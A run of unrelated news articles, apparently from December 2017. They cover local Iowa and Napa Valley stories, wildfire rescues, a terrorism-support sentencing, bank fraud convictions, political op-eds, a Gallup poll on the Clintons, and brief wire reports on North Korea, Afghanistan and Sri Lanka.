Torres-Cacho said a main reason for having DOT staff move out of the Lake Park Boulevard garage was because of its location, in the busy commercial district of Muscatine.

"The Muscatine garage is located in a residential and commercial area. Winter maintenance is often a 24-hour operation," he said in an email. "Moving to a more rural location allows us to not disturb neighbors during late night and early morning operation and reduces the amount [of] our equipment on residential streets."

In Wapello, he said a disposal plan is being discussed, but for now, the garage will be used as a storage facility for salt and salt brine.

According to DOT documents provided by Torres-Cacho, the 20,000 square-foot maintenance garage sits on 25 acres, along U.S. Highway 61, heading toward the Muscatine Municipal Airport.

The site features a fuel station, 14 storage bays, two mechanical bays, an office area, a brine reclaim building, plus cold storage and salt storage buildings.
MUSCATINE  It was New Years Eve in the Domestic Violence Center. Joyce Vesey said she doesnt remember what year it was, but she remembered feeling tired.

I mean somebody has to be at that shelter 24-hours-a-day to answer that crisis line, to let the clients in and out, Vesey said.

She was an old hand at the operation at the center. She volunteered to cover the desk on New Years Eve to give the regular staff the night off. It was not hard decision for her.

We dont usually do anything for New Years, Vesey said. Thats for amateurs.

By the time the New Year came, Vesey, a self-described morning person, was dozing off. Around 1 p.m. she woke up to the phone ringing. It was the Sheriffs Department. They said they might be bringing someone by.

I never got back to sleep, Vesey said.

Though the Sheriffs people never showed that night, it was a reminder to her of why she was at the desk in the first place: those women that come to the shelter, they very downtrodden, Vesey said.

There is no volunteer at MCSAs Domestic Violence Center with as much experience as Joyce Vesey.

In 1965, Vesey got a job at the Iowa Department of Human Services.

Children and family services, adoptions, child abuse, Vesey said. I handled a little bit of everything.

She would be at the department for six years, but she said it was trying time.

"I'd work for months and months with this one family to get them straightened all out and then they just went back and did it all over again, Vesey said. You try to help people change their behaviors so that they can have a better situation, but it all gets very draining. You have some successes. That's what keep you going.

When her daughter was 1 year old, Vesey moved her family to Muscatine. Rather than going back to work, she took care of her family and became a part-time volunteer.

In 1998, she got involved with Domestic Violence Center.

"I've worked with abused children. I've worked with foster children, Vesey said. I know what these children and women are facing. If I can help them connect with resources and services and make their lives better and safer, that's okay by me.

From a resource perspective alone, Vesey said that the Center must be kept open; it is a place that many may not need today but may depend on one day.

It's a safe place for women and children to go when they are in an abusive situation, Vesey said. They don't know the resources that are available to them. Thats where we come in.

Helping to support situations is tough work Vesey said. A lot of work must be put in to get those who turn to the shelter back on their feet.

We work on raising their self-esteem and confidence, Vesey said. They need the self-confidence that they can go out do this by themselves. And I think we do a very good job of that. Some people have gone out and gotten jobs, and they have gotten their own apartments, and they are raising their children.

They're doing well, Vesey said. And those successes make it all worth it.
Les emplois a Rennes sont abondants et varies. Il y a quelque chose pour tout le monde. Que vous soyez a la recherche dun emploi []
Les blattes ou cafards (Blatta orientalis) sont des insectes qui appartiennent a la famille des Blattoptera. Ils se caracterisent par leur forme allongee, leurs ailes []
Dr. Sam Ahn, M.D., said growing up in the New York City area is what originally lead him to consider a medical career.

In such a huge city, You witness a lot of inequality, whether its gender, race, wealth, education, etc., he said. Something is not right when some people have so much and others have so little.

I knew early on that I wanted to do something in life where I can help people. In college, I realized that medicine was the best way for me to do that.

Ahn, 41, has been a doctor for 13 years.

He joined North Bay Allergy and Asthma Associates in Napa this year.

1. What was your first job?

I took a year off from medical school because I had the opportunity to work with the Harvard AIDS Institute as a research assistant.

I lived in Botswana, in Sub-Saharan Africa, for the year and it was eye opening in so many ways.

2. What job would you like to try/not try?

Try: Anthony Bourdain of No Reservations. I would love to travel the world and try exotic food.

Not try: Probably a guard at Buckingham Palace. Theres no way I can stand completely still all day long.

3. What is the biggest challenge the medical industry has faced?

I think the biggest challenge for a lot of physicians in any field is that they cant practice as freely as theyd like. A lot of medications are not covered well or at all by insurance companies. In addition, because there is such a fear of litigation, physicians may not want to take any risks that may actually benefit the patient.

4. If you could change one thing about the medical industry what would it be?

Thats an easy one, universal healthcare. No one should ever be denied healthcare simply on the grounds that they cannot afford it.

5. What are the most common problems your patients need help with?

Seasonal allergies and asthma for sure are the top two. And then food allergies are the third. The fourth is chronic hives.

6. What are the most common food allergies?

Definitely nuts and shellfish. And dairy is very common as well.

7. Whats on your to-do list?

See the Northern Lights, take a cruise around the world, volunteer in a free clinic locally and abroad, watch my son grow up.

8. What is one thing you hope to accomplish in your lifetime that you havent yet?

Set up a foundation that helps both animals and children pay for procedures or treatments that will prolong life.

9. What was your childhood ambition?

Early childhood: fighter pilot thanks to Top Gun.

Later childhood: member of a boy band thanks to Backstreet Boys.

Id still consider the latter.

10. If you could be anywhere right now, where would you be?

On a deserted beach with my family and about 40 rescue dogs. Im a huge dog lover. Theres so many dogs out there that need a loving family.

I have three dogs and they are all rescue dogs.
iStock/Thinkstock(NEW YORK) -- An Iraqi refugee living in Texas has been sentenced to prison for attempting to provide support to foreign terrorist groups, according to the U.S. Department of Justice.



Omar Faraj Saee Al Hardan, 25, has been ordered to serve 16 years in federal prison for attempting to create explosives and travel abroad to fight for the terrorist organization Islamic State of Iraq and the Levant (ISIL), also known as ISIS.



Al Hardans actions were treacherous and completely antithetical to the freedoms we as U.S. citizens value, said acting U.S. Attorney Abe Martinez. The sentence imposed [Monday] reflects the Department of Justices resolve to seek out and punish all violators who would give aid and comfort to international terrorists.



Al Hardan entered the United States as a refugee in November 2009, after living in refugee camps in Jordan and Iraq. He was granted legal permanent residence status in 2011, and settled in Houston.



Federal agents began investigating Al Hardan in 2013 because of his correspondence with a California man who was associated with the Al-Nusrah Front. The two discussed going to Syria to fight for Al-Nusrah, an endorsed Syrian affiliate of al Qaeda.



Al Hardan later developed a relationship in 2014 with an FBI informant. In addition to discussing plans for traveling overseas to assist ISIS, Al Hardan said he wanted to be trained in building remote transmitter detonators for explosive devices, such as using a cellphone to detonate a bomb from a remote location.



He indicated that he taught himself how to make remote detonators through online videos, even showing the informant a circuit board hed built to be used to detonate an explosive.



Al Hardan took an oath of loyalty to ISIS in November 2014. Throughout the investigation, Al Hardan had posted many statements on social media in support of ISIS. One included a photo of a Humvee with an ISIS flag, with the caption, ISIS yesterday in Iraq, today in Syria and Allah willing, tomorrow in Jerusalem.



He also made several statements about his plans to become a martyr fighting for ISIS. One post read, I want to blow myself up. I want to travel with the Mujahidin. I want to travel to be with those who are against America. I am against America.



When Al Hardan was arrested in 2016, investigators found training CDs on how to build remote detonators, a prayer list for becoming a martyr and an ISIS flag.



Al Hardan was charged in January 2016 and pleaded guilty in October 2016 to attempting to provide material support to a designated foreign terrorist group. The FBIs Joint Terrorism Task Force conducted the investigation with the assistance of the Houston Police Department.



Copyright  2017, ABC Radio. All rights reserved.
The death last week of a wildfire debris removal driver crushed by his truck at the Sonoma County landfill was the second time in the past month the government's main cleanup contractor, AshBritt Inc., has been in the spotlight.

The death Friday of Ezekiel Jackson Sumner Jr., 60, of Paradise, followed a contentious Santa Rosa City Council meeting Nov. 30 where speakers accused AshBritt of recklessness while the company's chief executive officer defended the company's record.

Sumner was killed at the landfill near Petaluma after dropping off a load of rubble from the October fires. His truck, owned by RHC Equipment of Chico, rolled backward while he was attaching a trailer, pinning him under a wheel, emergency responders said.

Cal OSHA, the state's workplace safety regulator, is investigating.

During the city council meeting last month speakers raised concerns workers were not wearing protective masks and that contaminated storm water could be allowed to flow into storm drains. No other concerns were voiced about the company's worker safety.

At that time, AshBritt was taking a lead role in clearing lots under a contract with the U.S. Army Corps of Engineers, said Chris Grabill of Santa Rosa, who sits on the Santa Rosa Board of Public Utilities and the Watershed Task Force.

Grabill and others said subcontractors for the Deerfield Beach, Florida-based AshBritt appeared to be "playing fast and loose" with environmental and workplace rules on a job site off Parker Hill Road in Santa Rosa.

"We had some rain a few days before and subcontractors for AshBritt weren't protecting the site with waddles," Grabill said Monday. "They weren't managing their runoff the way they were supposed to."

In response, Brittany Perkins, AshBritt's chief executive officer, stepped to the podium, saying the 25-year-old company was working safely and in full compliance with state laws. Perkins said AshBritt has been selected for other cleanup projects by the Army Corps, a process she described as the "gold standard" for government contractors.

"It's an honor to be here serving you at this difficult time," Perkins told the council. "We take that with the utmost seriousness and respect in the community where we are working."

Grabill said it appeared subcontractors were doing better after the meeting. He said it was clear the fatal accident at the landfill "wasn't something that could have been prevented with another contractor."

"The more folks I talk to it seems like a tragic accident," Grabill said.

Nancy Allen, a spokeswoman for the Army Corps, said the fatal accident will not alter the ongoing contract with AshBritt. She could declined to say if the incident would be a factor in awarding a second bid to the company.

The Army Corps is 30 percent completed with debris removal operations in Lake, Mendocino, Napa and Sonoma counties following the October wildfires, with 564,163 tons of debris having been removed from properties in the four counties.
Former Justin-Siena High School teacher and administrator David Holquin will return to the school as its new president in January, the schools board of directors announced Monday.

Serving as Justin-Sienas President is an awesome responsibility and one for which I am humbled and grateful to the Board of Trustees and the De La Salle Christian Brothers, Holquin said in a letter to the school community announcing the hiring. I am also filled with gratitude to the entire community in anticipation of the work we will do together to shape the next chapter of Justin-Sienas history and further our impact in the Napa Valley and beyond.

Board Chair Dennis Pedisich said Holquin shares a deep passion for the Lasallian Catholic mission  Thankfully, Gods providence has brought a leader of Davids caliber back to Justin-Siena.

Holquin replaces former President Robert Jordan, who resigned in November amid a furor over his decision to remove former Principal John Bordelon from his position in October. Parents were upset by the sudden dismissal of the popular administrator just as students were returning from an extended closure due to the Napa fires.

Neither Jordan nor Bordelon ever fully explained the firing.

In his resignation announcement, Jordan stood by the decision, saying it was not the result of specific wrongdoing and calling it necessary but unpopular, though he said he was resigning because of the uproar over the firing and backlash his family was receiving. In a subsequent letter to parents and staff, Bordelon described the incident as a breakdown in relationship, and called for the school to move on and heal.

Justin-Siena subsequently named former Justin-Siena teacher Brother Christopher Brady, who had gone on to head several other Catholic schools, as principal.

In choosing Holquin as president, the schools leadership again reached for a familiar face. In his 11 years at the school, he served as a teacher, campus minister, summer programs coordinator, admissions director, and chief advancement officer, responsible for fundraising.

Holquin served as interim principal in 2014 following the retirement of Noel Hesser. He led the school through the subsequent turmoil when the man chosen to replace Hesser permanently, Herman Shum, died in a bicycle accident shortly before he was to take office.

Holquin left Justin-Siena in 2015 to become head of advancement at Bellarmine College Preparatory in San Jose, where he was responsible for raising $3.7 million for annual operations, $2 million in capital projects, and $2 million in endowment gifts. He also managed a $6.5 million capital campaign.

I am very excited to be returning to Justin- Siena  a place that has played an important role in my own life journey, he said. I am eager to partner with the many talented educators in our work to provide educational excellence, in a loving, Christ-centered community.

Editors note: This item has been modified from its original form to correct the type of accident that claimed the life of Herman Shum.
California Highway Patrol Officer Peter Gavitte compared the bumpy, jarring experience to Mr. Toads Wild Ride at Disneyland, especially the end, where riders careen into a heated scene of hell.

But this wasnt kids stuff. This was life and death.

Gavitte piloted a CHP helicopter amid strong winds into the Atlas Fire scene the night the blaze broke out. He and Flight Officer/Paramedic Whitney Lowe evacuated 26 residents trapped amid dead-end mountain roads illuminated by flames.

He later heard winds reached 80 mph. A wild ride, indeed.

Its just that jerky motion all the time, Gavitte said. I hit my helmet on the ceiling because of the turbulence, the down drafts were hitting us so hard, tightening down our belts and everything. You could feel the heat of the fire.

The helicopter based at Napa County Airport and another CHP helicopter that responded from Oroville kept flying all night. Gavitte estimated the night crews and crews the next morning rescued about 50 people.

Among them was Soda Canyon resident Glenn Schreuder.

Schreuder and his wife werent in immediate danger, but their six-mile, narrow, winding exit route down Soda Canyon Road was blocked by the fire. They left the area in Gavittes helicopter.

These guys were heroes, Schreuder said.

Schreuder took a wind-blown flight along Atlas Peak, watching glowing orange spots below that probably signified a house or barn burning.

It was pretty scary, Schreuder said. It was not a smooth ride by any stretch. But the pilot is a complete professional.

Gavitte received a pilots license when he was 18 and has flown for the CHP for 13 years. The night of Oct. 8, he arrived at the CHP helicopter patrol office at Napa County Airport to work the night shift. He and Lowe flew off to look for a lost person at Lake Chabot in the south Berkeley hills.

Then they heard about a fire on Atlas Peak back in Napa. As they reached Richmond, Gavitte said he had a sense of dread because it looked like a bomb had gone off ahead.

They reached Atlas Peak. Gavitte knew that only one paved road served the mountain and that residents needed to evacuate. He flew low over homes with a siren on to get peoples attention.

It already looked kind of apocalyptic, really, Gavitte said, showing a video on his phone that, indeed, looked mostly apocalyptic, with orange flames dominating the screen.

Amid the apocalypse were people who wanted to escape. Gavitte and Lowe could see eight or 10 vehicles stopped on the downslope of Atlas Peak Road, unable to go any farther because of downed trees and wires.

The two landed near the parked cars, and Lowe ran down to get peoples attention, even as embers flew around the helicopter. A man ran up with his son in his arms.

The boy and the mans family loaded into the helicopter, with Gavitte throwing out possessions that one passenger tried to take along. The helicopter left with what Gavitte remembers as being four people.

Normally, we only take one extra passenger, Gavitte said. This was kind of a dire situation.

The man who had brought his son wasnt one of them. He stayed behind for a return evacuation trip he thought would never come. But the helicopter did, indeed, return to save him, Gavitte said.

A typical patrol flight is an hour and half. That night, Gavitte and Lowe flew for about 8 1/2 hours, with five refuelings back at the airport.

While Gavitte and Lowe rescued people from the Atlas Fire, the Partrick Fire had broken out in the mountains west of city of Napa. Gavitte lives in that area. He could see the glow and called his wife and told her to be ready to leave quickly.

An hour later, police pounded on the door of the family home and gave word to evacuate. His wife drove to Queen of the Valley Medical Center, where she works. Gavittes home survived.

That was in the back of my mind, but shes real savvy and capable, so I wasnt too worried, Gavitte said.

Gavitte from his aerial perch could also see the glow from the Tubbs Fire near Calistoga and a Lake County fire.

We would stay close to the fire line just to be able to see, Gavitte said. We couldnt get a lot of altitude because wed get into the smoke and lose all the ground reference and were only flying by visual reference. It made for kind of hairy conditions.

But he, Lowe and the other CHP helicopter team kept at it during the initial hours of what might have been the worst disaster in Napa County history.

It just keep coming back to you, those people are stranded, Gavitte said. Theres no option there.
Jurors returned guilty verdicts Monday against two former Sonoma Valley Bank executives and a Santa Rosa attorney for their roles in a $35 million real estate loan scandal that caused the institutions collapse in 2010 and cost many elderly investors their retirement savings.

The decision came after five days of deliberation by the jury and a seven-week trial in U.S. District Court in San Francisco that included testimony from other former bank officials and government witnesses.

Convicted of at least 25 different counts, including conspiracy to commit bank fraud and money laundering, were the banks former president and chief executive officer, Sean Cutting, 48, formerly of Sonoma; ex-vice president and chief loan officer Brian Melland, 48, of Santa Rosa; and attorney David Lonich, 63, of Santa Rosa.

Lonich was an attorney for Marin County developer Bijan Madjlessi, who prosecutors said was allowed to use straw borrowers to gain unlimited access to loans, which he used to pay old debts, finance new projects and lead a lavish lifestyle. He died in a 2014 car crash.

Cutting, Melland and Lonich face possible prison time when they are sentenced April 27 by Judge Susan Illston. They remain out of custody.

These guys were out-and-out crooks who hurt an awful lot of older people, said James Rebollini, 82, of Sonoma, a former investor who lost about $40,000 when the bank collapsed. Im glad somebody is going to pay for it. But its not going to make up for all the people who lost their life savings.
A 73-year-old Lakeport man was pronounced dead Tuesday after crashing his sedan into a big rig at Petrified Forest Road near Franz Valley School Road, according to the California Highway Patrol.

The man, identified as John Michael Norin, was heading westbound on Petrified Forest Road just before noon when he drove his vehicle across solid double-yellow lines and crashed head-on into a tractor-trailer heading eastbound, officials said.

Norin was transported via CHP helicopter to Santa Rose Memorial Hospital, where he died of his injuries.

The driver of the big rig, Howard Beeman III of Inverness, was not injured, the CHP said.

The roads were blocked for about 2 1/2 hours.
One of the greatand quite irksomeanomalies of California is that while its economy is largely driven by Silicon Valleys digital innovation, its state government in Sacramento, just 100 miles northeast, has abysmally failed to use that technology effectively.

It literally would take every bit of this space to even briefly list the many information technology (IT) disasters that have occurredprojects that promised more bang for the taxpayers buck but not only vastly exceeded their cost estimates but also failed to work as promised and, in some cases, had to be abandoned altogether, wasting billions of dollars.

The problem children have ranged from a bollixed-up case management system for the courts to a project called FI$Cal, aimed at centralizing and managing state finances.

Successive governors and the Legislature, which appropriated the funds on those promises of efficiency, have not been as diligent as they should have been in demanding better results.

Their attitude has been, as Gov. Jerry Brown once said of a highly troubled public-works project, Shit happens.

Finally, however, the Legislature grew tired of the list of failures and two years ago created something called the Statewide Project Management Office that was supposed to police state agency efforts to design, build and use IT and make them fulfill their grandiose promises.

It was, in effect, supposed to make the Department of Technology, itself an earlier stab at cleaning up the states IT mess, do its job.

Never mind.

Earlier this month, the Legislatures budget analyst, Mac Taylor, issued a report on how well the new agency has been working, and its not looking good.

In essence, Taylors staff found, the PMO, as its called, selected low-hanging fruitthe projects likely to progress smoothlyto test its potential. While they seemed to work, the Brown administration has made a couple of changes in the oversight process that could severely limit expansion of the PMO to the larger, more complex IT projects that need help the most.

First, Taylor reported, the state Department of Technology basically folded the PMO into its management structure, rather than have it be an independent watchdog, creating what he called a potential conflict of interest.

Secondly, a policy change significantly reduces the number and complexity of IT projects eligible for PMO services. That means the big projects would likely escape PMO purview, which would be, of course, a recipe for continued IT failure.

It appears that the parochial interests of bureaucracies in protecting their turf, not sharing information and not exposing themselves to outside scrutiny, has prevailed, at least so far.

This is not a new syndrome, of course. Its what public agencies routinely do. But one of the Legislatures functions, albeit one lacking political sex appeal, is to counter that tendency by creating and maintaining watchdogs such as Taylors office, such as the state auditor (which has also been highly critical of IT calamities) and the Project Management Office.

We recommend that the Legislature express intent in statute that it expects the PMO to operate independently and serve in the best interests of the projects, Taylor concluded. This would ease sponsoring departments concerns of inappropriate and unnecessary information sharing between the PMO and [Department of Technology] oversight and cultivate an open pathway of communication between the PMO and sponsoring departments.

Well see if, as Taylor recommends, the Legislature gets involved again.
Where is J. William Fulbright when we need him? Or if not Fulbright, perhaps Robert M. La Follette or George W. Norris. Personally, I'd even settle for William Borah or Burton K. Wheeler.

During the 20th century, each of these now largely forgotten barons of the U.S. Senate served the nation with distinction. Their chief contribution? On matters related to war and peace, they declined to kowtow to whoever happened to occupy the office of commander in chief. On issues involving the safety and security of the American people, they challenged presidents, insisting that the Congress should play a central role in formulating basic policy. With the floor of the Senate as their bully pulpit, they questioned, provoked and thereby captured public attention.

A century ago, La Follette of Wisconsin and Norris of Nebraska, both progressive Republicans, spoke eloquently and at length in opposition to President Woodrow Wilson's insistence that the United States should go to war with Germany. Following the World War I armistice, Borah, a Republican from Idaho, emerged as an uncompromising critic of the Versailles Treaty that Wilson negotiated in Paris. During the late 1930s, having concluded that U.S. participation in that earlier European war had been a huge error, Borah and Wheeler, a Democrat from Montana, sought to prevent President Franklin D. Roosevelt from repeating Wilson's mistakes. Three decades later, Fulbright, a Democrat from Arkansas and the influential chair of the Senate Foreign Relations Committee, became a thorn in Lyndon B. Johnson's side as a sharp critic of the Vietnam War.

In opposing presidents whom they saw as too eager to wage war or too certain that they alone understood the prerequisites of peace, these senators were not necessarily correct in their judgments. Yet by drawing widespread public attention to foreign policy issues of first-order importance, they obliged their adversaries in the White House to make their case to the American people.

Whatever the issue -- sending Americans to fight on the Western Front, joining the League of Nations, rescuing Great Britain from Hitler or defending South Vietnam -- the back and forth between presidents and prominent Senate critics provided a means of vetting assumptions, assessing potential risks and debating possible consequences. In each instance, American citizens gained a clearer picture of what their president was intent on doing and why. The president became accountable.

Contrast that with our situation today. Donald Trump came to office almost entirely ignorant of statecraft. Rather than a considered worldview, he offers slogans and sound bites. As Trump approaches the first anniversary of his inauguration, we can say this about U.S. foreign policy: It has ceased to exist.

Any policy worthy of the name requires principles. Trump has none. So U.S. behavior on the world stage today consists of little more than random and often contradictory impulses. For recent examples, consider the inflammatory rhetoric directed at North Korea, stealth increases in U.S. troop contingents in Syria and Afghanistan, the inauguration of a U.S. bombing campaign in Somalia and recognition of Jerusalem as the capital of Israel. In each instance, the president acted without making the slightest pretense of consulting anyone outside a small circle of White House advisors. None of these decisions, to put it mildly, will Make America Great Again.

As American statecraft succumbs to incoherence, where is the Senate? Somewhere between missing in action and too preoccupied with partisan and parochial considerations to take notice. As a body, the Senate has done nothing to restrain Trump or to enlighten the American people regarding the erratic course on which the president has embarked. Occasional complaints registered by a handful of senators, such as the ailing John McCain, amount to little more than catcalls from the bleachers. In effect, senators of both parties have made themselves complicit in the unfolding folly.

The duty of the Senate is clear -- to spell out the implications of Trump's mishandling of U.S. foreign policy before the damage he is inflicting becomes irreversible.

Given the chance, any president will treat statecraft as his personal fiefdom. History shows that even a small number of senators with sufficient gumption and wit can frustrate such ambitions. This is what La Follette and Norris, Borah and Wheeler, and Fulbright did in their time. That among their successors today there appear to be none willing or able to take up their mantle is a sad testament to the state of American politics.
Almost seven square miles of ranchland on the east side of Lake Berryessa should look and remain the same for future generations, no matter what pressures arise for ranchette development.

Vintners Robin and Michelle Baggett of Alpha Omega winery in Rutherford and Pete Craig, whose family founded Rutherfords Sacrashe Vineyard, own the 4,461-acre Monticello Ranch. They recently put the land under a conservation easement.

That means the land remains privately owned with the development rights stripped. The Land Trust of Napa County holds the easement, the third-largest in its history.

Theres only one house under the easement on the entire 4,461 acres, Land Trust CEO Doug Parker said recently. No wineries. The easement will maintain it as range land. You wont even be able to do cultivated agriculture there.

State Department of Conservation spokesman Don Drysdale said the easement is worth $2.7 million. The state paid about $2 million through its Sustainable Agricultural Lands Conservation program, with the owners donating the remaining value.

Though this land is relatively remote, Parker said it could have been threatened by ranchette development. People would have been attracted by the great views of Lake Berryessa, he said.

Robin Baggett said he has been cattle ranching for 34 years.

When my wife Michelle and I first toured this expansive lakefront ranch, we knew this land was a very unique place on this earth, he said in a press release issued by the state and Land Trust.

Craig said pressure for urban sprawl constantly threatens large tracts of land such as Monticello Ranch.

Having this land protected and dedicated to ranching will help us achieve our dream of a sustainable ranching operation next to Lake Berryessa, Craig said in the press release. And it will allow my son Will the opportunity to follow in my footsteps, if he has it in him!

Parker said the land connects with federal land along Lake Berryessa and to Berryessa Snow Mountain National Monument. It is part of a natural corridor extending northward to the Oregon border.

If the Land Trust is going to create protected areas that stand the test of time, it needs these areas to have connections to other protected areas on a large scale, Parker said.

At Lake Berryessa, we can do that, Parker said.

Napa Countys agricultural scene is known mostly for its grapes. Still, Parker said there is ranching in the east county on out to Yolo County. The 2016 county crop report said 95,000 acres  about 148 square miles  are used for pasture and rangeland.

The Land Trust wants to protect 14,000 acres through conservation easements in the Lake Berryessa area, Parker said. With the latest addition, it is up to about 6,000 acres, with the promise of more to come.

The landowners are interested in doing easements, so we are excited about working with them to protect this important area, Parker said.

Money for the easement comes from the states cap-and-trade program designed to lower greenhouse gas emissions.

The easement on Monticello Ranch will prevent emissions that would result from housing development. It will help with carbon sequestration by protecting forested areas, the press release said.

Furthermore, the project will help protect the watershed of Lake Berryessa, a key water source for Solano County, and beautiful scenic landscapes for all residents and visitors to Lake Berryessa each year, it said.

The nonprofit Land Trust of Napa County since 1976 has protected more than 65,000 acres, 12 percent of Napa County. It does so both by owning land and by obtaining conservation easements on privately owned land.
Story Highlights Hillary Clinton favorable down five points since June, to 36%

Prior low was 38%

Bill Clinton favorable also down five points, to 45%

WASHINGTON, D.C. -- Hillary Clinton's image has declined since June and is now the worst Gallup has measured for her to date. Her favorable rating has fallen five percentage points since June to a new low of 36%, while her unfavorable rating has hit a new high of 61%.

Clinton's prior low favorable rating was 38% in late August/early September 2016 during the presidential campaign. She also registered a 38% favorable rating (with a 40% unfavorable rating) in April 1992, when she was much less well-known.

The current results are based on a Dec. 4-11 Gallup poll. Clinton's favorable rating has varied significantly in the 25 years Gallup has measured opinions about her. Her personal best was a 67% favorable rating taken in a December 1998 poll just after the House of Representatives voted to impeach her husband, then President Bill Clinton. She also had favorable ratings in the mid-60s during her time as secretary of state between 2009 and 2013.

At times when she assumed a more overtly political role -- during attempts to reform healthcare in 1994, in her years as a U.S. senator, and during her 2007-2008 and 2015-2016 campaigns for president, her ratings suffered. Her favorable ratings were near 50% when she announced her second bid for the presidency in the spring of 2015, but fell in the summer of 2015 amid controversy over her use of a private email server while she was secretary of state. Throughout 2016, her favorable ratings were generally around 40%, among the worst ever measured for presidential candidates but more positive than Donald Trump's ratings.

Since losing to Trump, Clinton's favorable ratings have not improved, in contrast to what has happened for other recent losing presidential candidates. In fact, her image has gotten worse in recent months as Democratic leaders, political observers and Clinton herself have attempted to explain how she lost an election that she was expected to win. Meanwhile, controversy continues to swirl around Clinton given continuing questions about the fairness of the 2016 Democratic nomination process and her dealings with Russia while secretary of state. There has also been renewed discussion of Bill and Hillary Clinton's handling of past sexual harassment charges made against Bill Clinton in light of heightened public concern about workplace behavior.

##SPEEDBUMP##

Democrats' Image of Hillary Clinton Stable in Past Six Months

In the past six months, Hillary Clinton's image has declined among Republicans and independents but not among Democrats.

Change in Hillary Clinton Favorable Ratings, June-December 2017, by Political Party June 2017 December 2017 Change % % pct. pts. National adults 41 36 -5 Democrats 79 78 -1 Independents 33 27 -6 Republicans 11 5 -6 Gallup

From a longer-term perspective, Hillary Clinton's favorability among Democrats has not held at the level seen during the 2016 election. She had 87% favorable ratings among Democrats both at the beginning (based on a May 2015 poll) and end (based on a November 2016 poll) of her 2016 campaign for president.

The campaign and its aftermath took the greatest toll on independents' views of Clinton. She began with a 51% favorable rating among this group, which fell to 33% in November 2016 and now sits at 27%.

Bill Clinton Image Worst Since 2001

Bill Clinton's image has also slipped over the past year, with his current 45% favorable rating down five points since Gallup last measured Americans' opinions of him in November 2016. Given his 52% unfavorable rating, more U.S. adults now have a negative than a positive opinion of the former president.

His current rating is his lowest since March 2001, when it hit 39% after his rocky exit from the White House that included a series of controversial pardons as well as the Clintons taking, but later returning, gifts intended for the White House. At that time, 59% of Americans had an unfavorable view of Bill Clinton, his highest in Gallup's trend. He did have favorable ratings lower than 39%, but those were measured early in his 1992 presidential campaign when a substantial proportion of Americans were not familiar enough with Clinton to offer an opinion of him.

Bill Clinton's image recovered in the years after he left the White House, as is typical for most ex-presidents. In August 2012, 69% of Americans had a favorable opinion of him, the highest Gallup has measured for him. His ratings began to fall after that, particularly after he began actively campaigning to support his wife's presidential campaign.

In contrast to what has occurred for Hillary Clinton, Bill Clinton's favorable rating is lower among his fellow Democrats than it was in Gallup's prior measurement. Currently, 76% of Democrats have a positive opinion of him, down from 81% in 2016. Independents' positivity has decreased even more -- seven points -- while Republicans' views are steady.

Change in Bill Clinton Favorable Ratings, November 2016-December 2017, by Political Party November 2016 December 2017 Change % % pct. pts. National adults 50 45 -5 Democrats 81 76 -5 Independents 48 41 -7 Republicans 17 16 -1 Gallup

Implications

Many political experts, and likely the Clintons themselves, thought Bill and Hillary Clinton would be residing in the White House in 2017. But Hillary Clinton's surprise defeat in the 2016 election ended their careers as elected officials. The year away from politics has not caused Americans to view either in a more positive light; in fact, the opposite has occurred with Bill Clinton's ratings the worst in 16 years and Hillary Clinton's the worst Gallup has measured to date.

Rather than looking favorably upon their more than 25 years of public service, the past year has been filled with second guessing of the 2016 Clinton campaign strategy and continued allegations of unethical or illegal behavior on Hillary Clinton's part during her time in public service and as a presidential candidate. In addition, the focus on sexual harassment this year has caused some, including Democrats, to question the way Bill Clinton's supporters responded to past allegations that he mistreated women.

In the past, both Bill and Hillary Clinton's ratings improved when they were in less overtly political roles -- she as first lady and secretary of state, and he as a former president and philanthropic leader. For Bill Clinton, though, it took more than two years for his image to recover after his controversial exit from the White House in 2001. Thus, if their ratings are to improve, it may take more time for the political wounds from the 2016 campaign to heal.
22:51

The United States cannot tolerate a nuclear armed North Korea, America's national security advisor said today, asserting that such a development would pose a grave security threat to the countries in the region and the world.

"I don't think we can't tolerate that risk. The world can't tolerate that risk. I mean, if North Korea has a nuclear weapon, I mean, who are you going to try to prevent getting one? Look at the behavior of this regime, the hostility of this regime to the whole world," US National Security Advisor Lt Gen H R McMaster told CBS News.

The United States, he said, is applying maximum pressure to North Korea to convince Kim Jong-Un that this is a dead end, this pursuit of nuclear weapons and an intercontinental ballistic missile -- long range ballistic missile which of course poses a grave danger to the whole world.

"So what you've seen is an effort led by the President worldwide really though to isolate that regime, to cut off not just what is restricted by the current national -- the current UN Security Council resolutions but to do more," he said.

President Donald Trump has asked all nations to cut off all trade with this rogue regime which has never met a weapon it didn't use or proliferate or sell to somebody else, he said.

"You saw that with the cyber attacks you just discussed and you saw it with the murder of Kim Jong Un's brother in a public airport with a banned nerve agent. So this is a regime that can't get this - this destructive capability," he asserted.

McMaster said Trump wants all nations to do more. It just doesn't make sense that Russia would increase trade and alleviate any pressure on the North Korean regime, he added.

"Of course, North Korea poses a grave direct threat to all nations including China and Russia, but what happens when North Korea gets this capability? What if other nations in the region arm in this way and that's going to be even more destabilizing and of course, as I mentioned, North Korea has never met a weapon it didn't try to sell to somebody else," he said.

Responding to a question, McMaster said this is not the time to hold talks with the North Koreans.

"What he means is, there can't be negotiations under these current conditions. The north has to show initial steps toward denuclearization and the reason for this is previous approaches to negotiating with North Korea have failed miserably," he said. -- PTI
Source: Xinhua| 2017-12-18 22:31:36|Editor: Lu Hui

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LASHKAR GAH, Afghanistan, Dec. 18 (Xinhua) -- At least three people were killed and 31 others injured after a suicide car bombing struck a police checkpoint in Lashkar Gah, capital of Afghanistan's southern province of Helmand on Monday, spokesman of provincial governor said.

The incident occurred roughly at 5:30 p.m. local time after a suicide bomber detonated the vehicle near the targeted police post, locating in a crowded bazaar, spokesman Omar Zwak told Xinhua.

"One police and one civilian were killed while the bomber also died on the spot following the explosion. Among those injured people were 12 police personnel," Zwak said, adding the number of casualties may rise.

"At the time of writing, 20 wounded have been taken to our Surgical Centre in Lashkar Gah due to a car bomb explosion on the bridge towards Bolan, not far from our hospital. And mass-casualty procedures were activated," Emergency Surgical Center for Victims of War, an international charity, tweeted.

No group has claimed responsibility for the attack yet.

Earlier on Monday, three Islamic State militants were killed and two Afghan special force soldiers were injured after the militants attacked an intelligence agency training center in national capital of Kabul.
Source: Xinhua| 2017-12-18 22:31:38|Editor: yan

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COLOMBO, Dec. 18 (Xinhua) -- Sri Lankan President Maithripala Sirisena will officially request Russia to lift the ban on Sri Lankan tea after Russia placed temporary restrictions following the discovery of a beetle in one of the Sri Lankan tea consignments, local media reported Monday.

Sirisena said that a thorough probe was underway against the company which had exported the consignment of tea from Sri Lanka in which the beetle was found, and action would be taken if the company was at fault.

